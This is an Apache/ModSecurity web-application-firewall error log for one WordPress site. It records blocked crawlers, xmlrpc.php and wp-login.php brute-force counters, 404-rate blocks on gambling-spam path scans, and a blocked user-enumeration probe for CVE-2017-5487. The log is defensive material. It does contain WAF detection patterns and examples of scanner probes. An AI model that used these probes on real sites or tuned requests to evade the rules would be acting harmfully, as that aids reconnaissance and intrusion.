[Fri Jan 30 07:28:51.690694 2026] [:error] [pid 46912:tid 46946] [client 84.239.45.133:39903] [client 84.239.45.133] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXvtMz6yiVW7A9NwFFkfRgAAABY"]
[Fri Jan 30 07:28:51.922921 2026] [:error] [pid 38980:tid 38987] [client 84.239.45.133:36626] [client 84.239.45.133] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXvtM7YByxUZEaKXdHr2kwAAAgA"]
[Fri Jan 30 07:28:54.031862 2026] [:error] [pid 46914:tid 46989] [client 84.239.45.133:65529] [client 84.239.45.133] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXvtNlgSfJ4kZxNKlb_M3AAAAIs"]
[Fri Jan 30 07:28:55.614171 2026] [:error] [pid 46912:tid 46948] [client 84.239.45.133:44442] [client 84.239.45.133] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXvtNz6yiVW7A9NwFFkfUAAAABg"]
[Fri Jan 30 07:28:56.424640 2026] [:error] [pid 46914:tid 46990] [client 84.239.45.133:65529] [client 84.239.45.133] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXvtOFgSfJ4kZxNKlb_M4AAAAIw"]
[Fri Jan 30 08:12:54.681783 2026] [:error] [pid 24711:tid 24721] [client 5.161.99.57:50112] [client 5.161.99.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.161.99.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXv3hq5Gwh4var6T23Jq9AAAAUc"]
[Fri Jan 30 09:49:54.291489 2026] [:error] [pid 46913:tid 46973] [client 103.216.117.42:49584] [client 103.216.117.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.216.117.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXwOQjMWmKL8hOfC3uRQkQAAAFY"]
[Fri Jan 30 11:31:20.927418 2026] [:error] [pid 24681:tid 24686] [client 81.8.91.201:48502] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXwmCIE368IXQpahn0IZngAAAQM"]
[Fri Jan 30 11:48:41.999844 2026] [:error] [pid 46914:tid 46991] [client 51.83.9.109:54168] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aXwqGVgSfJ4kZxNKlb8mqgAAAI0"]
[Fri Jan 30 11:48:43.861361 2026] [:error] [pid 38686:tid 38698] [client 51.83.9.109:37712] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aXwqGwoE8BAjgw1_sAUCDwAAAcg"]
[Fri Jan 30 11:48:45.957818 2026] [:error] [pid 24711:tid 24720] [client 51.83.9.109:37716] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aXwqHa5Gwh4var6T23LNLgAAAUY"]
[Fri Jan 30 11:48:47.883166 2026] [:error] [pid 24712:tid 24765] [client 51.83.9.109:37720] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aXwqH4RLQrFiQF3h9-u64AAAAZc"]
[Fri Jan 30 13:37:51.639345 2026] [:error] [pid 47021:tid 47030] [client 111.172.249.49:34559] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXxDr9ap1k13UdZUNSToUgAAAMc"]
[Fri Jan 30 14:15:44.113861 2026] [:error] [pid 46912:tid 46948] [client 103.181.110.194:55087] [client 103.181.110.194] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aXxMkD6yiVW7A9NwFFmQYAAAABg"]
[Fri Jan 30 14:17:26.101304 2026] [:error] [pid 46914:tid 46990] [client 103.181.110.194:36948] [client 103.181.110.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.181.110.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXxM9lgSfJ4kZxNKlb9cfgAAAIw"]
[Fri Jan 30 14:18:49.620046 2026] [:error] [pid 38980:tid 39004] [client 103.181.110.194:55348] [client 103.181.110.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.181.110.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXxNSbYByxUZEaKXdHpcNgAAAhE"]
[Fri Jan 30 14:20:09.440956 2026] [:error] [pid 46912:tid 46925] [client 103.181.110.194:36862] [client 103.181.110.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.181.110.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXxNmT6yiVW7A9NwFFmRJQAAAAE"]
[Fri Jan 30 14:21:30.467779 2026] [:error] [pid 46912:tid 46937] [client 103.181.110.194:36672] [client 103.181.110.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.181.110.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXxN6j6yiVW7A9NwFFmRaAAAAA0"]
[Fri Jan 30 14:22:56.390510 2026] [:error] [pid 46912:tid 46945] [client 103.181.110.194:36551] [client 103.181.110.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.181.110.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXxOQD6yiVW7A9NwFFmRxwAAABU"]
[Fri Jan 30 14:45:28.485465 2026] [:error] [pid 46913:tid 46964] [client 43.157.20.63:43048] [client 43.157.20.63] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXxTiDMWmKL8hOfC3uSSnwAAAE0"]
[Fri Jan 30 15:06:12.414000 2026] [:error] [pid 46914:tid 46980] [client 137.184.76.185:51528] [client 137.184.76.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.76.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXxYZFgSfJ4kZxNKlb9q1gAAAII"]
[Fri Jan 30 16:10:54.537212 2026] [:error] [pid 46914:tid 46991] [client 91.217.249.215:29289] [client 91.217.249.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.215, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXxnjlgSfJ4kZxNKlb998AAAAI0"]
[Fri Jan 30 16:26:56.022918 2026] [:error] [pid 38980:tid 38996] [client 137.184.225.216:55360] [client 137.184.225.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.225.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXxrULYByxUZEaKXdHp1AQAAAgk"]
[Fri Jan 30 17:56:13.253808 2026] [:error] [pid 46913:tid 46960] [client 91.217.249.212:20111] [client 91.217.249.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXyAPTMWmKL8hOfC3uSyvwAAAEk"]
[Fri Jan 30 17:56:13.253904 2026] [:error] [pid 46912:tid 46930] [client 45.86.202.208:50755] [client 45.86.202.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.208, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXyAPT6yiVW7A9NwFFm-1QAAAAY"]
[Fri Jan 30 18:19:45.171943 2026] [:error] [pid 38686:tid 38694] [client 46.249.40.9:56952] [client 46.249.40.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.249.40.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXyFwQoE8BAjgw1_sAVNxwAAAcQ"]
[Fri Jan 30 19:02:06.608879 2026] [:error] [pid 24712:tid 24744] [client 51.75.118.147:46028] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aXyProRLQrFiQF3h9-stmwAAAYM"]
[Fri Jan 30 19:02:08.629845 2026] [:error] [pid 24712:tid 24755] [client 51.75.118.147:34754] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aXyPsIRLQrFiQF3h9-stnwAAAY4"]
[Fri Jan 30 19:02:10.561160 2026] [:error] [pid 38980:tid 38991] [client 51.75.118.147:54092] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aXyPsrYByxUZEaKXdHqPRgAAAgQ"]
[Fri Jan 30 19:02:12.473166 2026] [:error] [pid 46914:tid 46990] [client 51.75.118.147:54096] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aXyPtFgSfJ4kZxNKlb-qkgAAAIw"]
[Fri Jan 30 19:02:14.540592 2026] [:error] [pid 24712:tid 24763] [client 51.75.118.147:54112] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aXyPtoRLQrFiQF3h9-strAAAAZU"]
[Fri Jan 30 19:02:16.610719 2026] [:error] [pid 38686:tid 38703] [client 51.75.118.147:54124] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aXyPuAoE8BAjgw1_sAVUhQAAAc0"]
[Fri Jan 30 19:02:18.576465 2026] [:error] [pid 24712:tid 24764] [client 51.75.118.147:54128] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aXyPuoRLQrFiQF3h9-sttgAAAZY"]
[Fri Jan 30 19:02:20.512728 2026] [:error] [pid 46914:tid 46988] [client 51.75.118.147:60178] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aXyPvFgSfJ4kZxNKlb-qogAAAIo"]
[Fri Jan 30 19:02:22.488477 2026] [:error] [pid 24711:tid 24725] [client 51.75.118.147:60190] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aXyPvq5Gwh4var6T23JwEwAAAUs"]
[Fri Jan 30 19:02:24.448820 2026] [:error] [pid 24681:tid 24692] [client 51.75.118.147:60194] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aXyPwIE368IXQpahn0JtyQAAAQk"]
[Fri Jan 30 19:02:26.329169 2026] [:error] [pid 38686:tid 38690] [client 51.75.118.147:60202] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aXyPwgoE8BAjgw1_sAVUpAAAAcA"]
[Fri Jan 30 19:02:28.249804 2026] [:error] [pid 38980:tid 38998] [client 51.75.118.147:60212] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aXyPxLYByxUZEaKXdHqPYwAAAgs"]
[Fri Jan 30 19:02:30.280684 2026] [:error] [pid 46912:tid 46944] [client 51.75.118.147:49534] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aXyPxj6yiVW7A9NwFFnLFwAAABQ"]
[Fri Jan 30 19:02:32.596174 2026] [:error] [pid 24711:tid 24720] [client 51.75.118.147:49538] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aXyPyK5Gwh4var6T23JwIAAAAUY"]
[Fri Jan 30 19:02:34.676515 2026] [:error] [pid 47663:tid 47685] [client 51.75.118.147:49550] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aXyPykHGTrgIKCqEYbWG_QAAAlQ"]
[Fri Jan 30 19:02:36.623379 2026] [:error] [pid 46912:tid 46941] [client 51.75.118.147:49556] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aXyPzD6yiVW7A9NwFFnLIQAAABE"]
[Fri Jan 30 19:02:38.635641 2026] [:error] [pid 46914:tid 46995] [client 51.75.118.147:49564] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aXyPzlgSfJ4kZxNKlb-qtgAAAJE"]
[Fri Jan 30 19:02:40.729504 2026] [:error] [pid 47663:tid 47673] [client 51.75.118.147:50388] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aXyP0EHGTrgIKCqEYbWHBQAAAkg"]
[Fri Jan 30 19:02:42.911297 2026] [:error] [pid 24711:tid 24718] [client 51.75.118.147:50402] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aXyP0q5Gwh4var6T23JwMAAAAUQ"]
[Fri Jan 30 19:02:45.040361 2026] [:error] [pid 24711:tid 24719] [client 51.75.118.147:50416] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aXyP1a5Gwh4var6T23JwNwAAAUU"]
[Fri Jan 30 19:02:47.028446 2026] [:error] [pid 24712:tid 24751] [client 51.75.118.147:50420] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aXyP14RLQrFiQF3h9-st2gAAAYo"]
[Fri Jan 30 19:02:48.942220 2026] [:error] [pid 24712:tid 24755] [client 51.75.118.147:50436] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aXyP2IRLQrFiQF3h9-st2wAAAY4"]
[Fri Jan 30 19:02:50.966072 2026] [:error] [pid 24712:tid 24761] [client 51.75.118.147:42458] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aXyP2oRLQrFiQF3h9-st4QAAAZM"]
[Fri Jan 30 19:02:53.068416 2026] [:error] [pid 24712:tid 24765] [client 51.75.118.147:42460] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aXyP3YRLQrFiQF3h9-st6AAAAZc"]
[Fri Jan 30 19:02:55.142124 2026] [:error] [pid 46912:tid 46922] [client 51.75.118.147:42464] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aXyP3z6yiVW7A9NwFFnLNgAAAAA"]
